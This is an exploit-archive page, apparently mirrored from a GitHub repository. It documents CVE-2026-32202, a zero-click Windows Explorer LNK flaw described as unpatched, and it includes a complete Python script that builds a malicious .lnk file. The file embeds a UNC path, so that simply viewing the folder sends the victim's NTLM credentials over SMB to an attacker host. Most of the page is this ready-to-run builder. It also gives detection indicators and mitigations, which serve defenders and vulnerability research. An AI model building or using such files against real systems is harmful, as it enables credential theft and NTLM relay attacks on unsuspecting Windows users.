PoC Archive PoC Archive
High CVE-2026-32202 (related: CVE-2026-21510) unpatched

Windows Shell LNK _IDCONTROLW Zero-Click SMB Coercion Builder — CVE-2026-32202

by virus-or-not · 2026-07-05

Severity
High
CVE
CVE-2026-32202 (related: CVE-2026-21510)
Category
binary
Affected product
Windows Shell (shell32.dll) / Windows Explorer
Affected versions
Windows builds with shell32.dll vulnerable to incomplete CVE-2026-21510 patch
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / Researchervirus-or-not
CVE / AdvisoryCVE-2026-32202 (related: CVE-2026-21510)
Categorybinary
SeverityHigh
CVSS ScoreNot specified in source
StatusPoC
Tagslnk, shell32, windows, apt28, smb-coercion, zero-click, reverse-engineering, control-panel
RelatedN/A

Affected Target

FieldValue
Software / SystemWindows Shell (shell32.dll) / Windows Explorer
Versions AffectedWindows builds with shell32.dll vulnerable to incomplete CVE-2026-21510 patch
Language / PlatformPython 3 (builder script generates a Windows .lnk binary file)
Authentication RequiredLocal-only (victim must have the LNK rendered in Explorer, e.g. via a shared folder)
Network Access RequiredYes (triggers outbound SMB to attacker-controlled host)

Summary

This repository documents a reverse-engineered, undocumented _IDCONTROLW structure used internally by shell32.dll to represent Control Panel applet items inside a .lnk file’s LinkTargetIDList, based on the researcher’s own IDA Pro static analysis and referencing Akamai’s public write-up on the APT28 LNK exploit chain (CVE-2026-21510 / CVE-2026-32202). The included Python script builds a .lnk file containing a crafted LinkTargetIDList (Control Panel root CLSID + category folder + _IDCONTROLW item) that embeds a UNC path, reproducing the mechanism by which Windows Explorer’s icon-rendering path (CControlPanelFolder::GetModuleMappedPathFileExistsW) triggers an outbound SMB connection with zero user interaction, ahead of the SmartScreen check added by the CVE-2026-21510 patch. The README documents the exact byte layout and call chain used to reconstruct the structure.


Vulnerability Details

Root Cause

Microsoft’s fix for CVE-2026-21510 added SmartScreen verification only at the later ShellExecuteExW stage; the earlier PathFileExistsW call inside CControlPanelFolder::GetModuleMapped, which is reached purely by Explorer trying to render/extract an icon for a Control Panel LNK item, still resolves a UNC path and initiates an SMB connection with no user click and no trust check.

Attack Vector

  1. Attacker crafts a .lnk file whose LinkTargetIDList contains the Control Panel root CLSID, the “All Control Panel Items” category item, and a crafted _IDCONTROLW item embedding a UNC path to an attacker-controlled SMB share (using this repo’s builder script).
  2. Attacker delivers the LNK to the victim (e.g. via a shared folder, archive, or email attachment) so that Windows Explorer merely renders/lists the file.
  3. Explorer calls CControlPanelFolder::GetUIObjectOf to fetch an icon, which walks into GetModuleMapped and calls PathFileExistsW on the embedded UNC path — no click or execution required.
  4. The victim host initiates an outbound SMB connection to the attacker’s server, leaking the NTLM handshake (usable for NTLM relay/hash cracking) with zero user interaction.

Impact

Zero-click NTLM credential/hash leak (authentication coercion) via SMB, exploitable simply by a victim viewing a folder containing the malicious LNK — no execution or explicit click needed; can be chained into NTLM relay attacks.


Environment / Lab Setup

Target:   Windows host with vulnerable/incompletely-patched shell32.dll, Explorer rendering a folder containing the LNK
Attacker: Python 3 (stdlib only: struct, uuid, argparse, pathlib), an SMB listener (e.g. Responder/Impacket smbserver) to capture the coerced connection

Proof of Concept

PoC Script

See CVE-2026-32202.py in this folder.

1
python3 CVE-2026-32202.py --unc \\192.168.1.31\share\test.cpl --out poc.lnk

The script builds a LinkTargetIDList from three ItemIDs (Control Panel root CLSID, category folder, and a hand-crafted _IDCONTROLW entry containing the supplied UNC path, applet ID, name, and infotip), writes it out as a valid .lnk file, and optionally prints a hex dump of the _IDCONTROLW bytes for verification.


Detection & Indicators of Compromise

Microsoft-Windows-SMBClient/Security: outbound connection to unexpected external/attacker IP shortly after Explorer.exe accesses a directory

Signs of compromise:

  • Outbound SMB (port 445) connection attempts to unfamiliar external IPs correlated with explorer.exe browsing a downloaded/shared folder, with no corresponding user-initiated file open.
  • Presence of .lnk files whose LinkTargetIDList contains the Control Panel root CLSID ({26EE0668-A00A-44D7-9371-BEB064C98683}) followed by an unrecognized/oversized third ItemID.
  • NTLM authentication attempts against attacker infrastructure shortly after a suspicious LNK file is delivered.

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — monitor for a subsequent Microsoft advisory/update addressing GetModuleMapped’s PathFileExistsW call
Interim mitigationBlock outbound SMB (TCP 445) to the internet at the firewall/proxy, disable NTLM where possible, and restrict LNK files from untrusted sources (email/download attachment filtering).

References


Notes

Mirrored from https://github.com/virus-or-not/CVE-2026-32202 on 2026-07-05.

CVE-2026-32202.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
"""
Generate a test LNK file containing a _IDCONTROLW structure (UNC path).
Research purposes: reproducing the LinkTargetIDList structure
as described in CVE-2026-21510 / CVE-2026-32202 (Akamai research).

_IDCONTROLW layout (reconstructed from shell32.dll via IDA Pro):
  +0x00 WORD  cb         — total size of the structure including cb itself
  +0x02 WORD  pad1       — padding (0)
  +0x04 DWORD dwAppletID — applet ID (negative for registered CPL, e.g. -201)
  +0x08 WORD  pad2       — 0  (validated by _IsUnicodeCPLWorker)
  +0x0A WORD  pad3       — 0  (validated by _IsUnicodeCPLWorker)
  +0x0C BYTE  pad4       — 0  (validated by _IsUnicodeCPLWorker)
  +0x0D BYTE  typeFlag   — 0x6A (Unicode CPL marker)
  +0x0E WORD  pad5       — 0
  +0x10 DWORD pad6       — 0
  +0x14 WORD  cchModule  — length of ModulePath in WCHARs (including null terminator)
  +0x16 WORD  offName    — offset of Name from start of data[] in WCHARs
  +0x18 WCHAR data[]     — ModulePath\\0Name\\0InfoTip (UTF-16LE)

Usage:
  python CVE-2026-32202.py --unc \\\\192.168.1.31\\share\\test.cpl
  python CVE-2026-32202.py --unc \\\\192.168.1.31\\share\\test.cpl --out poc.lnk
  python CVE-2026-32202.py --unc \\\\192.168.1.31\\share\\test.cpl --applet-id -201 --name "My CPL"
  python CVE-2026-32202.py --unc \\\\192.168.1.31\\share\\test.cpl --no-dump
"""

import struct
import uuid
import argparse
from pathlib import Path


# ── IDList[0]: Control Panel root CLSID ──────────────────────────────────────

def make_idlist_clsid(clsid_str: str) -> bytes:
    """
    Build an ItemID for a CLSID shell item (type 0x1F = root shell item).

    clsid_str: CLSID string, e.g. '26EE0668-A00A-44D7-9371-BEB064C98683'
    """
    clsid_bytes = uuid.UUID(clsid_str).bytes_le
    data = struct.pack('<B', 0x1F) + b'\x50' + clsid_bytes  # type + flags + CLSID (18 bytes)
    cb = len(data) + 2  # +2 for the cb field itself
    return struct.pack('<H', cb) + data


# ── IDList[1]: "All Control Panel Items" (category 0) ────────────────────────

def make_idlist_all_cpanel() -> bytes:
    """
    Build the ItemID for "All Control Panel Items" (category index 0).

    Reconstructed from CControlPanelCategoryFolder::CreateIDList:
      *(_WORD*)v5       = 12           // cb
      *((_WORD*)v5 + 1) = 1            // flags
      v5[1]             = 0x39DE2184   // magic identifier
      v5[2]             = 0            // category index
    """
    return struct.pack('<HHII',
        12,           # cb = 0x0C (total size)
        1,            # flags = 0x0001
        0x39DE2184,   # magic — identifies CControlPanelCategoryFolder item
        0,            # category index 0 = "All Control Panel Items"
    )


# ── IDList[2]: _IDCONTROLW ────────────────────────────────────────────────────

def make_idcontrolw(module_path: str,
                    name: str      = "Research CPL",
                    infotip: str   = "",
                    applet_id: int = -201) -> bytes:
    """
    Build a _IDCONTROLW structure.

    Args:
        module_path : path to the CPL module (UNC or local)
        name        : display name of the applet
        infotip     : tooltip string (may be empty)
        applet_id   : signed applet ID; negative for registered CPLs (default: -201 = 0xFFFFFF37)

    Returns:
        Raw bytes of the _IDCONTROLW structure (cb WORD is at offset 0).
    """
    # Encode strings as UTF-16LE with null terminator
    mod_enc  = (module_path + '\x00').encode('utf-16-le')
    name_enc = (name        + '\x00').encode('utf-16-le')
    tip_enc  = (infotip     + '\x00').encode('utf-16-le') if infotip else b'\x00\x00'

    # cchModule: length of ModulePath in WCHARs including null terminator
    cch_module = len(module_path) + 1
    # offName: offset of Name from data[0] in WCHARs (Name immediately follows ModulePath)
    off_name   = cch_module

    data_blob  = mod_enc + name_enc + tip_enc
    total_size = 0x18 + len(data_blob)  # 0x18 = fixed header size

    buf = bytearray(total_size)

    struct.pack_into('<H', buf, 0x00, total_size)   # +0x00 WORD  cb
    struct.pack_into('<H', buf, 0x02, 0x0000)        # +0x02 WORD  pad1
    struct.pack_into('<i', buf, 0x04, applet_id)     # +0x04 DWORD dwAppletID (signed)
    struct.pack_into('<H', buf, 0x08, 0x0000)        # +0x08 WORD  pad2
    struct.pack_into('<H', buf, 0x0A, 0x0000)        # +0x0A WORD  pad3
    buf[0x0C] = 0x00                                 # +0x0C BYTE  pad4
    buf[0x0D] = 0x6A                                 # +0x0D BYTE  typeFlag = Unicode CPL marker
    struct.pack_into('<H', buf, 0x0E, 0x0000)        # +0x0E WORD  pad5
    struct.pack_into('<I', buf, 0x10, 0x00000000)    # +0x10 DWORD pad6
    struct.pack_into('<H', buf, 0x14, cch_module)    # +0x14 WORD  cchModule
    struct.pack_into('<H', buf, 0x16, off_name)      # +0x16 WORD  offName
    buf[0x18:0x18 + len(data_blob)] = data_blob      # +0x18 WCHAR data[]

    return bytes(buf)


# ── IDList assembly ───────────────────────────────────────────────────────────

def make_idlist(items: list[bytes]) -> bytes:
    """Concatenate ItemID entries and append the 2-byte null terminator."""
    return b''.join(items) + b'\x00\x00'


# ── Shell Link Header (MS-SHLLINK §2.1) ──────────────────────────────────────

def make_shell_link_header() -> bytes:
    """
    Build a minimal 76-byte ShellLinkHeader.

    LinkFlags:
      bit 0 = HasLinkTargetIDList
      bit 6 = IsUnicode
    """
    HEADER_SIZE     = 0x4C
    LINK_CLSID      = bytes.fromhex('0114020000000000C000000000000046')
    LINK_FLAGS      = struct.pack('<I', 0x00000041)  # HasLinkTargetIDList | IsUnicode
    FILE_ATTRIBUTES = struct.pack('<I', 0x00000020)  # FILE_ATTRIBUTE_ARCHIVE
    TIMESTAMPS      = b'\x00' * 24                  # CreationTime, WriteTime, AccessTime
    FILE_SIZE       = struct.pack('<I', 0)
    ICON_INDEX      = struct.pack('<i', 0)
    SHOW_COMMAND    = struct.pack('<I', 1)           # SW_SHOWNORMAL
    HOT_KEY         = struct.pack('<H', 0)
    RESERVED        = b'\x00' * 10

    header = (
        struct.pack('<I', HEADER_SIZE) +
        LINK_CLSID      +
        LINK_FLAGS      +
        FILE_ATTRIBUTES +
        TIMESTAMPS      +
        FILE_SIZE       +
        ICON_INDEX      +
        SHOW_COMMAND    +
        HOT_KEY         +
        RESERVED
    )
    assert len(header) == HEADER_SIZE, f"Header size mismatch: {len(header)}"
    return header


# ── LNK assembly ─────────────────────────────────────────────────────────────

def build_lnk(unc_path: str,
              output_path: str,
              name: str      = "Research CPL",
              infotip: str   = "CVE-2026-21510 research",
              applet_id: int = -201,
              dump: bool     = True) -> None:
    """
    Assemble a complete LNK file with the following IDList layout:

      IDList[0] — Control Panel root CLSID {26EE0668-A00A-44D7-9371-BEB064C98683}
      IDList[1] — CControlPanelCategoryFolder item (category 0 = All Control Panel Items)
      IDList[2] — _IDCONTROLW with embedded UNC/local CPL path

    When Explorer navigates to a folder containing this LNK, it calls
    CControlPanelFolder::GetUIObjectOf to extract an icon, which calls
    GetModuleMapped -> PathFileExistsW(<module_path>), triggering an
    outbound SMB connection if module_path is a UNC path (CVE-2026-32202).
    """
    item0 = make_idlist_clsid('26EE0668-A00A-44D7-9371-BEB064C98683')
    item1 = make_idlist_all_cpanel()
    item2 = make_idcontrolw(
        module_path = unc_path,
        name        = name,
        infotip     = infotip,
        applet_id   = applet_id,
    )

    idlist_data        = make_idlist([item0, item1, item2])
    idlist_size        = len(idlist_data)
    link_target_idlist = struct.pack('<H', idlist_size) + idlist_data
    lnk_data           = make_shell_link_header() + link_target_idlist

    Path(output_path).write_bytes(lnk_data)

    # ── Summary ───────────────────────────────────────────────────────────────
    print(f"[+] LNK file created  : {output_path}")
    print(f"    Total size        : {len(lnk_data)} bytes")
    print(f"    IDList size       : {idlist_size} bytes")
    print(f"    Module path       : {unc_path}")
    print(f"    Applet ID         : {applet_id} (0x{applet_id & 0xFFFFFFFF:08X})")
    print()
    print("_IDCONTROLW field layout:")
    print(f"  +0x00  cb         = 0x{len(item2):04X}  ({len(item2)} bytes)")
    print(f"  +0x04  dwAppletID = 0x{applet_id & 0xFFFFFFFF:08X}  ({applet_id})")
    print(f"  +0x0D  typeFlag   = 0x6A")
    print(f"  +0x14  cchModule  = {len(unc_path) + 1}")
    print(f"  +0x16  offName    = {len(unc_path) + 1}")
    print(f"  +0x18  data[]     = {unc_path!r}  (UTF-16LE)")

    if dump:
        print()
        print("_IDCONTROLW hex dump:")
        for i in range(0, len(item2), 16):
            chunk    = item2[i:i + 16]
            hex_part = ' '.join(f'{b:02X}' for b in chunk)
            asc_part = ''.join(chr(b) if 0x20 <= b < 0x7F else '.' for b in chunk)
            print(f"  {i:04X}:  {hex_part:<48}  {asc_part}")


# ── CLI ───────────────────────────────────────────────────────────────────────

def parse_args() -> argparse.Namespace:
    parser = argparse.ArgumentParser(
        description=(
            "Generate a test LNK file with an _IDCONTROLW structure.\n"
            "Research tool for CVE-2026-21510 / CVE-2026-32202 patch analysis."
        ),
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=(
            "Examples:\n"
            r"  python CVE-2026-32202.py --unc \\192.168.1.31\share\test.cpl" "\n"
            r"  python CVE-2026-32202.py --unc \\192.168.1.31\share\test.cpl --out poc.lnk" "\n"
            r"  python CVE-2026-32202.py --unc \\srv\share\x.cpl --applet-id -201 --no-dump"
        ),
    )
    parser.add_argument(
        '--unc', '-u',
        required=True,
        metavar='PATH',
        help='UNC or local path to embed in _IDCONTROLW (e.g. \\\\192.168.1.31\\share\\test.cpl)',
    )
    parser.add_argument(
        '--out', '-o',
        default='test_idcontrolw.lnk',
        metavar='FILE',
        help='Output LNK filename (default: test_idcontrolw.lnk)',
    )
    parser.add_argument(
        '--applet-id', '-a',
        type=int,
        default=-201,
        metavar='INT',
        help='Signed applet ID for dwAppletID (default: -201 = 0xFFFFFF37)',
    )
    parser.add_argument(
        '--name', '-n',
        default='Research CPL',
        metavar='STR',
        help='Display name of the CPL applet (default: "Research CPL")',
    )
    parser.add_argument(
        '--infotip', '-i',
        default='CVE-2026-21510 research',
        metavar='STR',
        help='Tooltip string (default: "CVE-2026-21510 research")',
    )
    parser.add_argument(
        '--no-dump',
        action='store_true',
        help='Suppress the hex dump of _IDCONTROLW',
    )
    return parser.parse_args()


if __name__ == '__main__':
    args = parse_args()
    build_lnk(
        unc_path    = args.unc,
        output_path = args.out,
        name        = args.name,
        infotip     = args.infotip,
        applet_id   = args.applet_id,
        dump        = not args.no_dump,
    )